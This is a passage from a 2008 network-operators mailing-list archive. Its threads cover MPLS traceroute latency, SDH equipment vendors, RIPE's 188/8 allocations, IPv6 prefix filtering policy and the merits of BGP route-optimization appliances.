if they are decrementing TTL inside of their MPLS core, the TTL expired message still has to traverse the entire MPLS LSP (tunnel), so the latency reported for each "hop" is in fact the latency of the last hop in the MPLS network. Always. Sam Robert Richardson wrote: > They probably don't propagate TTL w/in their MPLS core. Depending on how > they have MPLS implemented, you may only see 2 hops on the network; the > ingress and egress routers. If the ingress router was in NYC and the egress > in Seattle, you could understandably expect a large jump in RTT. > > Not an ATT customer but do know other providers run their MPLS core's this > way... > > -Robert > > On Thu, Jun 26, 2008 at 6:09 PM, John T. Yocum > wrote: > > From hannigan at gmail.com Tue Jul 1 21:39:06 2008 From: hannigan at gmail.com (Martin Hannigan) Date: Tue, 1 Jul 2008 22:39:06 -0400 Subject: SDH on the cheap In-Reply-To: <3d6d13c70807011602x26eae4aeyfc8168e11fd25fbc@mail.gmail.com> References: <6e137b6a0807011428h6a9214a8r5d4e5852ef694a5c@mail.gmail.com> <3d6d13c70807011602x26eae4aeyfc8168e11fd25fbc@mail.gmail.com> Message-ID: <2d106eb50807011939p600b1374h5ce0c4d41062cf2d@mail.gmail.com> Right, but aren't they only WDM? Best, Marty On 7/1/08, Yardiel Fuentes wrote: > One candidate offering small and/or reasonable prices is: > > www.mrv.com > > Yardiel > > On Tue, Jul 1, 2008 at 5:28 PM, Kerplunkity Moo > wrote: >> Hello. >> >> Anyone have a suggestion or recommendation on a vendor for some cheap, but >> reliable, SDH gear? I don't need anything as powerful as the Ciena Core or >> Cisco 15454 and I'm wondering if there are alternatives to the >> alternatives? >> I need something to aggregate STM-4 and above to STM-64 client signal. >> Anything out there? >> >> Moo >> > > > > -- > Yardiel Fuentes > > -- Sent from Gmail for mobile | mobile.google.com From bep at whack.org Tue Jul 1 22:55:00 2008 From: bep at whack.org (Bruce Pinsky) Date: Tue, 01 Jul 2008 20:55:00 -0700 Subject: Possible explanations for a large hop in latency In-Reply-To: <486AC6BB.70501@spacething.org> References: <48642E62.70206@fluidhosting.com> <48643DC5.1040208@fluidhosting.com> <4aebc7330806261819o6e5eda7aqd16faabfefdc5f1d@mail.gmail.com> <486AC6BB.70501@spacething.org> Message-ID: <486AFC14.1070008@whack.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sam Stickland wrote: | Even if they are decrementing TTL inside of their MPLS core, the TTL | expired message still has to traverse the entire MPLS LSP (tunnel), so | the latency reported for each "hop" is in fact the latency of the last | hop in the MPLS network. Always. | And who said tunneling protocols aren't fun :-) - -- ========= bep -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFIavwUE1XcgMgrtyYRArGuAJwJa3g/BiIDqNL1L1lItDu+BL3b/ACeMrPT DtiH+THvgfPz31MAK2QmsZ4= =m5il -----END PGP SIGNATURE----- From schelcj at pobox.com Wed Jul 2 07:11:30 2008 From: schelcj at pobox.com (Chris Scheller) Date: Wed, 02 Jul 2008 08:11:30 -0400 Subject: Charter nntp administrator Message-ID: Could someone at charter please contact me off list. mutliple calls with various support groups yeilds nothing. thanks. From yardiel at gmail.com Wed Jul 2 08:44:42 2008 From: yardiel at gmail.com (Yardiel Fuentes) Date: Wed, 2 Jul 2008 09:44:42 -0400 Subject: SDH on the cheap In-Reply-To: <2d106eb50807011939p600b1374h5ce0c4d41062cf2d@mail.gmail.com> References: <6e137b6a0807011428h6a9214a8r5d4e5852ef694a5c@mail.gmail.com> <3d6d13c70807011602x26eae4aeyfc8168e11fd25fbc@mail.gmail.com> <2d106eb50807011939p600b1374h5ce0c4d41062cf2d@mail.gmail.com> Message-ID: <3d6d13c70807020644v1e16d0ejf2ba92dc6c9fefdd@mail.gmail.com> They do have SDH/SONET transponders as tributaries like: http://www.mrv.com/product/MRV-LD-EM2009OCM/ but the line side tends to be mainly WDM. Yardiel On Tue, Jul 1, 2008 at 10:39 PM, Martin Hannigan wrote: > Right, but aren't they only WDM? > > > Best, > > Marty > > > > > On 7/1/08, Yardiel Fuentes wrote: >> One candidate offering small and/or reasonable prices is: >> >> www.mrv.com >> >> Yardiel >> >> On Tue, Jul 1, 2008 at 5:28 PM, Kerplunkity Moo >> wrote: >>> Hello. >>> >>> Anyone have a suggestion or recommendation on a vendor for some cheap, but >>> reliable, SDH gear? I don't need anything as powerful as the Ciena Core or >>> Cisco 15454 and I'm wondering if there are alternatives to the >>> alternatives? >>> I need something to aggregate STM-4 and above to STM-64 client signal. >>> Anything out there? >>> >>> Moo >>> >> >> >> >> -- >> Yardiel Fuentes >> >> > > -- > Sent from Gmail for mobile | mobile.google.com > -- Yardiel Fuentes From hannigan at gmail.com Thu Jul 3 00:28:21 2008 From: hannigan at gmail.com (Martin Hannigan) Date: Thu, 3 Jul 2008 01:28:21 -0400 Subject: SDH on the cheap In-Reply-To: <3d6d13c70807020644v1e16d0ejf2ba92dc6c9fefdd@mail.gmail.com> References: <6e137b6a0807011428h6a9214a8r5d4e5852ef694a5c@mail.gmail.com> <3d6d13c70807011602x26eae4aeyfc8168e11fd25fbc@mail.gmail.com> <2d106eb50807011939p600b1374h5ce0c4d41062cf2d@mail.gmail.com> <3d6d13c70807020644v1e16d0ejf2ba92dc6c9fefdd@mail.gmail.com> Message-ID: <2d106eb50807022228v328b33d7y71189000a2cea3d5@mail.gmail.com> Yardiel, MRV has _great_ console that's inexpensive and equally cheap SFP's. They do a fair bit of manufacturing of SFP's. For everyone. They have functional, low capex, WDM gear. I think, based on what I am reading, that the poster is asking for pointers to 1+0 STM64 out and groomed ST4 > + in. Transmode might be interesting. That's based on an email that another poster sent me and some quick website research. Regardless, I like MRV, but I don't think they answer the question. At least fully. Best, Marty On Wed, Jul 2, 2008 at 9:44 AM, Yardiel Fuentes wrote: > They do have SDH/SONET transponders as tributaries like: > > http://www.mrv.com/product/MRV-LD-EM2009OCM/ > > but the line side tends to be mainly WDM. > > Yardiel > > On Tue, Jul 1, 2008 at 10:39 PM, Martin Hannigan wrote: >> Right, but aren't they only WDM? >> >> >> Best, >> >> Marty >> >> >> >> >> On 7/1/08, Yardiel Fuentes wrote: >>> One candidate offering small and/or reasonable prices is: >>> >>> www.mrv.com >>> >>> Yardiel >>> >>> On Tue, Jul 1, 2008 at 5:28 PM, Kerplunkity Moo >>> wrote: >>>> Hello. >>>> >>>> Anyone have a suggestion or recommendation on a vendor for some cheap, but >>>> reliable, SDH gear? I don't need anything as powerful as the Ciena Core or >>>> Cisco 15454 and I'm wondering if there are alternatives to the >>>> alternatives? >>>> I need something to aggregate STM-4 and above to STM-64 client signal. >>>> Anything out there? >>>> >>>> Moo >>>> >>> >>> >>> >>> -- >>> Yardiel Fuentes >>> >>> >> >> -- >> Sent from Gmail for mobile | mobile.google.com >> > > > > -- > Yardiel Fuentes > From gaurab at lahai.com Thu Jul 3 00:34:34 2008 From: gaurab at lahai.com (Gaurab Raj Upadhaya) Date: Thu, 03 Jul 2008 06:34:34 +0100 Subject: APRICOT 2009 : Call for Papers Message-ID: <486C64EA.7030005@lahai.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Asia Pacific Regional Internet Conference on Operational Technologies (APRICOT) 18-27 February 2009, Manila, Philippines http://www.apricot2009.net Call for Papers The APRICOT 2009 Program Committee is now seeking contributions for Presentations and Tutorials for APRICOT 2009. Full CFP available at : http://www.apricot2009.net Please submit proposals online at http://submission.apricot.net/paper/user/login.php?event=13 CONFERENCE MILESTONES - --------------------- Call for Papers Opens: 1 July 2008 Deadline for Speaker Submissions: 30 September 2008 First Draft Program Published: 15 October 2008 Final Program Published: 15 December 2009 Final Slides Received: 15 January 2009 Additional Information ______________________ APRICOT Program will be organized in three parts, including workshops, tutorials and the conference. APNIC Policy SIG and Annual Members Meeting will be held subsequently. Topics for tutorials and conference would include amongst others relevant to Internet Operations and Technologies: Draft slides for both tutorials and conference sessions MUST be provided with CfP submissions. APRICOT is a TECHNICAL conference so marketing and commercial content is not allowed within the program. Speakers from developing countries may be eligible for the APRICOT Fellowship Program. More information on the APRICOT Fellowship program can be found at the APRICOT 2009 website at http://www.apricot2009.net/ Thanks. APRICOT Program Committee -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.8 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkhsZOoACgkQSo7fU26F3X0muACfZR6x0CLx75gxJ3jzOFU0WvIY nXcAoOh3nDyoyCGOKrwTJlVwyaUoPRpf =fQua -----END PGP SIGNATURE----- From alexlh at ripe.net Thu Jul 3 05:25:26 2008 From: alexlh at ripe.net (Alex Le Heux) Date: Thu, 3 Jul 2008 12:25:26 +0200 Subject: RIPE NCC will begin allocating from 188/8 Message-ID: <1B3A9C94-7005-49A8-A8BB-563F3F7079FD@ripe.net> Dear Colleagues, The IANA and the RIRs are working on an ongoing basis to verify and correct registration data of legacy address space to identify free space in these blocks. As a result of this work the RIPE NCC will begin allocating from 188/8 in future. The minimum allocation size for 188/8 has been set at /21. You may wish to adjust any filters you have in place accordingly. More information on the IP space administered by the RIPE NCC can be found at: https://www.ripe.net/ripe/docs/ripe-434.html Please also note that three "pilot" prefixes will be announced from 188/8. These prefixes are: 188.0.0.0/16 188.0.0.0/21 188.0.0.0/24 They will all originate in AS12654. The following pingable addresses will available in these blocks: 188.0.8.1 188.0.1.1 188.0.0.1 More information on this "pilot" activity is available in the document "De-Bogonising New Address Blocks", which can be found at: http://www.ripe.net/ripe/docs/ripe-351.html Best regards, Alex Le Heux RIPE NCC From nick at laststop.net Thu Jul 3 05:50:46 2008 From: nick at laststop.net (Nick Shank) Date: Thu, 3 Jul 2008 03:50:46 -0700 (PDT) Subject: tacid.org Message-ID: <8972799.1215082247077.JavaMail.root@whwamui-ascend.pas.sa.earthlink.net> Greetings, My name is Nick, and I have inherited admin duties for tacid.org. For an un-known amount of time (A month or more?) mail.tacid.org has been an open-relay, and sending out large amounts of spam. This should now be fixed. If anyone is having issues with this domain still, please contact me off list. Thank you, Nick From drew.weaver at thenap.com Thu Jul 3 06:50:51 2008 From: drew.weaver at thenap.com (Drew Weaver) Date: Thu, 3 Jul 2008 07:50:51 -0400 Subject: Replacement for Avaya CNA/RouteScience Message-ID: Howdy for reasons it might be inappropriate to discuss on this list we've decided that we're going to replace our Avaya/RouteScience box and we're looking for recommendations on different solutions for 'BGP management appliances'. We're aware of the Internap FCP product, but is there anything else out there besides 'oy, hire a BGP admin ya tool!' that anyone can offer? As always, comments are appreciated. -Drew From mdixon at nkc.org Thu Jul 3 09:36:10 2008 From: mdixon at nkc.org (Michienne Dixon) Date: Thu, 3 Jul 2008 09:36:10 -0500 Subject: Replacement for Avaya CNA/RouteScience In-Reply-To: References: Message-ID: Have you considered any of the options from Vyatta? Aside from the "roll your own" community offerings they also have a precompiled virtual appliance as well as a physical appliance you can use. - Michienne Dixon Network Administrator liNKCity 312 Armour Rd. North Kansas City, MO 64116 www.linkcity.org (816) 412-7990 -----Original Message----- From: Drew Weaver [mailto:drew.weaver at thenap.com] Sent: Thursday, July 03, 2008 6:51 AM To: nanog at nanog.org Subject: Replacement for Avaya CNA/RouteScience Howdy for reasons it might be inappropriate to discuss on this list we've decided that we're going to replace our Avaya/RouteScience box and we're looking for recommendations on different solutions for 'BGP management appliances'. We're aware of the Internap FCP product, but is there anything else out there besides 'oy, hire a BGP admin ya tool!' that anyone can offer? As always, comments are appreciated. -Drew From linford at spamhaus.org Thu Jul 3 09:38:42 2008 From: linford at spamhaus.org (Steve Linford) Date: Thu, 03 Jul 2008 14:38:42 +0000 Subject: RIPE NCC will begin allocating from 188/8 In-Reply-To: <1B3A9C94-7005-49A8-A8BB-563F3F7079FD@ripe.net> References: <1B3A9C94-7005-49A8-A8BB-563F3F7079FD@ripe.net> Message-ID: Not sure if RIPE knows this, but the following url will give you a list of RIPE allocations, many /20s, /17s and /16s which are either hijacked or allocated directly to illegal spam operations (who have obviously faked the RIPE application as 'ISPs' to get huge allocations)... http://www.spamhaus.org/sbl/listings.lasso?isp=RIPE Direct RIPE allocations to many of these outfits, including "Russian Business Network" (the Russian Cybercrime Mob) for example are allocations we would love to see reclaimed asap. Regards, Steve Linford The Spamhaus Project http://www.spamhaus.org On 3 Jul 2008, at 12:25, Alex Le Heux wrote: > Dear Colleagues, > > The IANA and the RIRs are working on an ongoing basis to verify and > correct registration data of legacy address space to identify free > space in these blocks. From frank at troy-networks.com Thu Jul 3 09:49:39 2008 From: frank at troy-networks.com (Frank P. Troy) Date: Thu, 3 Jul 2008 10:49:39 -0400 Subject: IPv6 Prefix Policy Message-ID: <000301c8dd1c$0869bfb0$193d3f10$@com> Hi, Can someone point me to the latest information on the minimum IPv6 prefix providers will accept for Provider Independent IPv6 prefixes? Thanks Frank ------------------------------------ Frank P. Troy 703-396-8700 frank at troy-networks.com ------------------------------------- From jeroen at unfix.org Thu Jul 3 09:55:37 2008 From: jeroen at unfix.org (Jeroen Massar) Date: Thu, 03 Jul 2008 16:55:37 +0200 Subject: IPv6 Prefix Policy In-Reply-To: <000301c8dd1c$0869bfb0$193d3f10$@com> References: <000301c8dd1c$0869bfb0$193d3f10$@com> Message-ID: <486CE869.7010104@spaghetti.zurich.ibm.com> Frank P. Troy wrote: > Hi, > > > > Can someone point me to the latest information on the minimum IPv6 prefix > providers will accept for Provider Independent IPv6 prefixes? Ask the providers directly, it is their network thus they will have their own policies. In general though, ASNs are following: http://www.space.net/~gert/RIPE/ipv6-filters.html I don't know how common the strict/non-strict case is though, but looking at GRH (http://www.sixxs.net/tools/grh/) it seems that most ASN's are properly filtering, thus using the strict model. Of course don't forget to signup for GRH if you are going to/are participating in the IPv6 BGP and also of course sign up to ipv6-ops to keep informed about technical issues (SnR is quite high fortunately): http://lists.cluenet.de/pipermail/ipv6-ops Greets, Jeroen -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 187 bytes Desc: OpenPGP digital signature URL: From bicknell at ufp.org Thu Jul 3 10:12:37 2008 From: bicknell at ufp.org (Leo Bicknell) Date: Thu, 3 Jul 2008 11:12:37 -0400 Subject: IPv6 Prefix Policy In-Reply-To: <486CE869.7010104@spaghetti.zurich.ibm.com> References: <000301c8dd1c$0869bfb0$193d3f10$@com> <486CE869.7010104@spaghetti.zurich.ibm.com> Message-ID: <20080703151237.GB96994@ussenterprise.ufp.org> In a message written on Thu, Jul 03, 2008 at 04:55:37PM +0200, Jeroen Massar wrote: > In general though, ASNs are following: > http://www.space.net/~gert/RIPE/ipv6-filters.html > > I don't know how common the strict/non-strict case is though, but > looking at GRH (http://www.sixxs.net/tools/grh/) it seems that most > ASN's are properly filtering, thus using the strict model. The strict filter is still broken in at least one way. ipv6 prefix-list ipv6-ebgp-strict permit 2001:500::/30 ge 48 le 48 http://www.arin.net/reference/micro_allocations.html Note that there are /45's, /46's, /47's and /48's right now. The filter allows only /48's. Of note, this will break access to the F-Root name server, we announce it from both a /47 and a /48 (local peers only) in IPv6. I believe there are other issues with the strict filter, but don't have the time to track them down right now. -- Leo Bicknell - bicknell at ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: not available URL: From pauldotwall at gmail.com Thu Jul 3 10:25:11 2008 From: pauldotwall at gmail.com (Paul Wall) Date: Thu, 3 Jul 2008 11:25:11 -0400 Subject: Replacement for Avaya CNA/RouteScience In-Reply-To: References: Message-ID: <620fd17c0807030825x66363d8fn373ca52427dd75bb@mail.gmail.com> On Thu, Jul 3, 2008 at 7:50 AM, Drew Weaver wrote: > Howdy for reasons it might be inappropriate to discuss on this list we've decided that we're going to replace our Avaya/RouteScience box and we're looking for recommendations on different solutions for 'BGP management appliances'. > > We're aware of the Internap FCP product, but is there anything else out there besides 'oy, hire a BGP admin ya tool!' that anyone can offer? Going off this and previous posts, you'd well-served to follow the advice you sarcastically dispense, and hire an engineer. Opex and capex (spread over a ~2 year product lifetime) costs for the above solutions in a small (several gigabits, several transit providers) environment are right up there with the salary of a junior to mid-level networking professional in most markets. By hiring a live human, you get not only somebody who can tweak localpref, but also a critical thinker who can aid in troubleshooting outages and help you plan for growth. Paul From ckoch at qualitytech.com Thu Jul 3 11:07:57 2008 From: ckoch at qualitytech.com (Koch, Christian) Date: Thu, 3 Jul 2008 12:07:57 -0400 Subject: Replacement for Avaya CNA/RouteScience References: Message-ID: <5888FCB767AD5F41A65DC0DCFE91C9210527C517@EDC-SUW-EXCH.edeltacom.biz> what does vyatta have to do with route intelligence/optimization? vyatta is just a router.. -c -----Original Message----- From: Michienne Dixon [mailto:mdixon at nkc.org] Sent: Thu 07/03/08 10:36 AM To: nanog at nanog.org Subject: RE: Replacement for Avaya CNA/RouteScience Have you considered any of the options from Vyatta? Aside from the "roll your own" community offerings they also have a precompiled virtual appliance as well as a physical appliance you can use. - Michienne Dixon Network Administrator liNKCity 312 Armour Rd. North Kansas City, MO 64116 www.linkcity.org (816) 412-7990 -----Original Message----- From: Drew Weaver [mailto:drew.weaver at thenap.com] Sent: Thursday, July 03, 2008 6:51 AM To: nanog at nanog.org Subject: Replacement for Avaya CNA/RouteScience Howdy for reasons it might be inappropriate to discuss on this list we've decided that we're going to replace our Avaya/RouteScience box and we're looking for recommendations on different solutions for 'BGP management appliances'. We're aware of the Internap FCP product, but is there anything else out there besides 'oy, hire a BGP admin ya tool!' that anyone can offer? As always, comments are appreciated. -Drew QUALITY TECHNOLOGY SERVICES CONFIDENTIALITY NOTICE: This e-mail message including its attachments is classified COMPANY CONFIDENTIAL. It is intended for the person or entity to which it is addressed and may contain confidential material. Quality Technology Services controls the distribution of COMPANY CONFIDENTIAL assets, as such, any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact us at irt at qualitytech.com or 866-239-5000 and destroy all copies of the original message. Thank you. From eric at atlantech.net Thu Jul 3 11:29:27 2008 From: eric at atlantech.net (Eric Van Tol) Date: Thu, 3 Jul 2008 12:29:27 -0400 Subject: Replacement for Avaya CNA/RouteScience In-Reply-To: <620fd17c0807030825x66363d8fn373ca52427dd75bb@mail.gmail.com> References: <620fd17c0807030825x66363d8fn373ca52427dd75bb@mail.gmail.com> Message-ID: <2C05E949E19A9146AF7BDF9D44085B8635058ED5A9@exchange.aoihq.local> > -----Original Message----- > From: Paul Wall [mailto:pauldotwall at gmail.com] > Sent: Thursday, July 03, 2008 11:25 AM > To: Drew Weaver > Cc: nanog at nanog.org > Subject: Re: Replacement for Avaya CNA/RouteScience > > Going off this and previous posts, you'd well-served to follow the > advice you sarcastically dispense, and hire an engineer. > > Opex and capex (spread over a ~2 year product lifetime) costs for the > above solutions in a small (several gigabits, several transit > providers) environment are right up there with the salary of a junior > to mid-level networking professional in most markets. By hiring a > live human, you get not only somebody who can tweak localpref, but > also a critical thinker who can aid in troubleshooting outages and > help you plan for growth. > > Paul I'd like to hire that engineer, please. Can you send me his resume? Here's the job description: - Required to works 24x7x365. - Must monitor all network egress points to examine latency, retransmissions, packet loss, link utilization, and link cost. - Required to "tweak localpref" on an average of 5000 prefixes per day, based upon a combination of the above criteria. - Required to write up a daily, weekly, and monthly report to be sent to all managers on said schedule. - Must not require health or dental care. These devices are not a replacement for an actual engineer. They are a supplement to the network to assist the engineer in doing what he should be doing - engineering and planning as opposed to resolving some other network's packet loss/blackhole/peering dispute/latency problem. -evt From rs at seastrom.com Thu Jul 3 11:50:58 2008 From: rs at seastrom.com (Robert E. Seastrom) Date: Thu, 03 Jul 2008 12:50:58 -0400 Subject: Replacement for Avaya CNA/RouteScience In-Reply-To: <2C05E949E19A9146AF7BDF9D44085B8635058ED5A9@exchange.aoihq.local> (Eric Van Tol's message of "Thu, 3 Jul 2008 12:29:27 -0400") References: <620fd17c0807030825x66363d8fn373ca52427dd75bb@mail.gmail.com> <2C05E949E19A9146AF7BDF9D44085B8635058ED5A9@exchange.aoihq.local> Message-ID: <863amqkj2l.fsf@seastrom.com> Eric Van Tol writes: > I'd like to hire that engineer, please. Can you send me his resume? > Here's the job description: > > - Required to works 24x7x365. > - Must monitor all network egress points to examine latency, retransmissions, packet loss, link utilization, and link cost. > - Required to "tweak localpref" on an average of 5000 prefixes per day, based upon a combination of the above criteria. > - Required to write up a daily, weekly, and monthly report to be sent to all managers on said schedule. > - Must not require health or dental care. > > These devices are not a replacement for an actual engineer. They > are a supplement to the network to assist the engineer in doing what > he should be doing - engineering and planning as opposed to > resolving some other network's packet loss/blackhole/peering > dispute/latency problem. You can certainly get close to the requirements stated above by offering a decent salary and hiring a reasonably clued engineer with an SP background. You may have to settle for IRC, WoW, or SecondLife as daily recreational activity that doesn't buy you much (expressed in your requirements list as "tweaking localpref"). My general experience with such boxes is that they're awfully good at impressing the PHBs, but not something you can really defend from a cost/benefit perspective. I really do need to go into the "custom painted boxes with LCD screens on the front" business. I could make "melons", like Tom Vu. ---Rob From jeroen at unfix.org Thu Jul 3 11:52:10 2008 From: jeroen at unfix.org (Jeroen Massar) Date: Thu, 03 Jul 2008 18:52:10 +0200 Subject: IPv6 Prefix Policy In-Reply-To: <20080703151237.GB96994@ussenterprise.ufp.org> References: <000301c8dd1c$0869bfb0$193d3f10$@com> <486CE869.7010104@spaghetti.zurich.ibm.com> <20080703151237.GB96994@ussenterprise.ufp.org> Message-ID: <486D03BA.8050909@spaghetti.zurich.ibm.com> Leo Bicknell wrote: > In a message written on Thu, Jul 03, 2008 at 04:55:37PM +0200, Jeroen Massar wrote: >> In general though, ASNs are following: >> http://www.space.net/~gert/RIPE/ipv6-filters.html >> >> I don't know how common the strict/non-strict case is though, but >> looking at GRH (http://www.sixxs.net/tools/grh/) it seems that most >> ASN's are properly filtering, thus using the strict model. > > The strict filter is still broken in at least one way. Then mail Gert Doering about it, if he doesn't know he can't update it ;) > ipv6 prefix-list ipv6-ebgp-strict permit 2001:500::/30 ge 48 le 48 > > http://www.arin.net/reference/micro_allocations.html > > Note that there are /45's, /46's, /47's and /48's right now. The > filter allows only /48's. Of note, this will break access to the > F-Root name server, we announce it from both a /47 and a /48 (local > peers only) in IPv6. > > I believe there are other issues with the strict filter, but don't have > the time to track them down right now. If you have them, please pass them on to Gert and possibly also spam ipv6-ops. Greets, Jeroen -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 187 bytes Desc: OpenPGP digital signature URL: From christian at broknrobot.com Thu Jul 3 13:38:41 2008 From: christian at broknrobot.com (Christian Koch) Date: Thu, 3 Jul 2008 14:38:41 -0400 Subject: Replacement for Avaya CNA/RouteScience In-Reply-To: <863amqkj2l.fsf@seastrom.com> References: <620fd17c0807030825x66363d8fn373ca52427dd75bb@mail.gmail.com> <2C05E949E19A9146AF7BDF9D44085B8635058ED5A9@exchange.aoihq.local> <863amqkj2l.fsf@seastrom.com> Message-ID: agreed. i see the most benefit from these boxes geared towards networks with critical apps that are latency intensive and more than a handful of transit providers than i do for a smaller provider.. depending on how many upstreams you're juggling, its not that hard to create some traffic engineering policies that can easily be modified, (whether by hand or you use a script with a front end that can push the changes for you) in order to re-route traffic in the event of issues with an SP network in your end to end path.. personally i think manual traffic engineering and re-routing is one of the more fun parts of engineering.. -christian On Thu, Jul 3, 2008 at 12:50 PM, Robert E. Seastrom wrote: > > Eric Van Tol writes: > > > I'd like to hire that engineer, please. Can you send me his resume? > > Here's the job description: > > > > - Required to works 24x7x365. > > - Must monitor all network egress points to examine latency, > retransmissions, packet loss, link utilization, and link cost. > > - Required to "tweak localpref" on an average of 5000 prefixes per day, > based upon a combination of the above criteria. > > - Required to write up a daily, weekly, and monthly report to be sent to > all managers on said schedule. > > - Must not require health or dental care. > > > > These devices are not a replacement for an actual engineer. They > > are a supplement to the network to assist the engineer in doing what > > he should be doing - engineering and planning as opposed to > > resolving some other network's packet loss/blackhole/peering > > dispute/latency problem. > > You can certainly get close to the requirements stated above by > offering a decent salary and hiring a reasonably clued engineer with > an SP background. You may have to settle for IRC, WoW, or SecondLife > as daily recreational activity that doesn't buy you much (expressed in > your requirements list as "tweaking localpref"). > > My general experience with such boxes is that they're awfully good at > impressing the PHBs, but not something you can really defend from a > cost/benefit perspective. I really do need to go into the "custom > painted boxes with LCD screens on the front" business. I could make > "melons", like Tom Vu. > > ---Rob > > > -- ^christian$ From eric at atlantech.net Thu Jul 3 15:51:52 2008 From: eric at atlantech.net (Eric Van Tol) Date: Thu, 3 Jul 2008 16:51:52 -0400 Subject: Replacement for Avaya CNA/RouteScience In-Reply-To: References: <620fd17c0807030825x66363d8fn373ca52427dd75bb@mail.gmail.com> <2C05E949E19A9146AF7BDF9D44085B8635058ED5A9@exchange.aoihq.local> <863amqkj2l.fsf@seastrom.com> Message-ID: <2C05E949E19A9146AF7BDF9D44085B8635058ED5AC@exchange.aoihq.local> >From: Christian Koch [mailto:christian at broknrobot.com] >Sent: Thursday, July 03, 2008 2:39 PM >To: Robert E. Seastrom >Cc: Eric Van Tol; nanog at nanog.org >Subject: Re: Replacement for Avaya CNA/RouteScience > >agreed. i see the most benefit from these boxes geared towards networks >with critical apps that are latency intensive and more than a handful of >transit providers than i do for a smaller provider.. Two questions: First, what would you characterize as a "smaller provider"? One that has only one or two transits? If that's the case, then yes, I would definitely agree with you. However, once you go beyond just a few transits and peers, choosing which one to use for an unhealthy destination becomes tedious if you're trying to do it all manually. That said, I believe there is a stopping point at which the size of the network outgrows the need for such a device. Second, can you provide an example of a network where users don't care about latency? I can't say that I've worked on tons of networks, but if "the internet is slow", and even though our customers may not be using the latest in realtime streaming media protocols and apps, they notice. >depending on how many upstreams you're juggling, its not that hard to >create some traffic engineering policies that can easily be modified, >(whether by hand or you use a script with a front end that can push the >changes for you) in order to re-route traffic in the event of issues with >an SP network in your end to end path.. It *is* relatively simple to make routing changes manually, but wouldn't you agree that human error is the cause of most outages? Even the most skilled engineers/techs have days where their fingers are larger than normal. These devices, at least the one we use, makes no changes to router configurations. >personally i think manual traffic engineering and re-routing is one of >the more fun parts of engineering.. > > >-christian Yes, as long as the problem is interesting. Manually changing localpref on a route because of packet loss in someone else's network, several times per week, is not interesting to me or my staff. Nor is checking every transit link several times a day to make sure that we're not going over a commit when other transits have plenty of bandwidth to spare. In my opinion, most of the value of these types of appliances is to help identify problem areas outside of your network, before end users notice them. I know firsthand that our route optimization appliance frees up my staff to work on other issues such as capacity planning, new service deployments, or discussing the latest MGS4 strategies. Well, hopefully not that last one. -evt From christian at broknrobot.com Thu Jul 3 21:36:27 2008 From: christian at broknrobot.com (Christian Koch) Date: Thu, 3 Jul 2008 22:36:27 -0400 Subject: Replacement for Avaya CNA/RouteScience In-Reply-To: <2C05E949E19A9146AF7BDF9D44085B8635058ED5AC@exchange.aoihq.local> References: <620fd17c0807030825x66363d8fn373ca52427dd75bb@mail.gmail.com> <2C05E949E19A9146AF7BDF9D44085B8635058ED5A9@exchange.aoihq.local> <863amqkj2l.fsf@seastrom.com> <2C05E949E19A9146AF7BDF9D44085B8635058ED5AC@exchange.aoihq.local> Message-ID: imo, no more than 3-4 transit providers and maybe a presence at 1 or 2 ixp's with x amount of peer's would be small im not saying customers won't/don't care about latency, its just not difficult to route around the problematic nodes (unless SP A/B/C gets to it first and band aid the issue until resolution), maybe i just don't see enough issues to even recognize the problem? agreed, human error is a big cause of a lot of issues. well there are plenty of ways to manipulate traffic other than local_pref, that is why i find it interesting, you have options. i don't understand what the difficulty is in monitoring your bandwidth and understanding your traffic patterns, if this is done properly, you can plan capacity and execute your routing policies for optimal performance, and not have to re-route/re-engineer traffic so often. does your traffic fluctuate that much that you cant get a good grasp on what you're pushing, from who, and when? i definitely see value in appliances like the fcp and route science box, i just think for a smaller provider it may not be necessary - or maybe i have it backwards,and it is a better solution for a smaller provider so they don't have to waste money on highly skilled engineers? maybe i am just thinking "inside" the box at the moment, from an engineers view..if so my apologies for steering off course -christian On Thu, Jul 3, 2008 at 4:51 PM, Eric Van Tol wrote: > >From: Christian Koch [mailto:christian at broknrobot.com] > >Sent: Thursday, July 03, 2008 2:39 PM > >To: Robert E. Seastrom > >Cc: Eric Van Tol; nanog at nanog.org > >Subject: Re: Replacement for Avaya CNA/RouteScience > > > >agreed. i see the most benefit from these boxes geared towards networks > >with critical apps that are latency intensive and more than a handful of > >transit providers than i do for a smaller provider.. > > Two questions: > > First, what would you characterize as a "smaller provider"? One that has > only one or two transits? If that's the case, then yes, I would definitely > agree with you. However, once you go beyond just a few transits and peers, > choosing which one to use for an unhealthy destination becomes tedious if > you're trying to do it all manually. That said, I believe there is a > stopping point at which the size of the network outgrows the need for such a > device. > > Second, can you provide an example of a network where users don't care > about latency? I can't say that I've worked on tons of networks, but if > "the internet is slow", and even though our customers may not be using the > latest in realtime streaming media protocols and apps, they notice. > > >depending on how many upstreams you're juggling, its not that hard to > >create some traffic engineering policies that can easily be modified, > >(whether by hand or you use a script with a front end that can push the > >changes for you) in order to re-route traffic in the event of issues with > >an SP network in your end to end path.. > > It *is* relatively simple to make routing changes manually, but wouldn't > you agree that human error is the cause of most outages? Even the most > skilled engineers/techs have days where their fingers are larger than > normal. These devices, at least the one we use, makes no changes to router > configurations. > > >personally i think manual traffic engineering and re-routing is one of > >the more fun parts of engineering.. > > > > > >-christian > > Yes, as long as the problem is interesting. Manually changing localpref on > a route because of packet loss in someone else's network, several times per > week, is not interesting to me or my staff. Nor is checking every transit > link several times a day to make sure that we're not going over a commit > when other transits have plenty of bandwidth to spare. > > In my opinion, most of the value of these types of appliances is to help > identify problem areas outside of your network, before end users notice > them. I know firsthand that our route optimization appliance frees up my > staff to work on other issues such as capacity planning, new service > deployments, or discussing the latest MGS4 strategies. Well, hopefully not > that last one. > > -evt > > > -- ^christian$ From cidr-report at potaroo.net Fri Jul 4 07:00:04 2008 From: cidr-report at 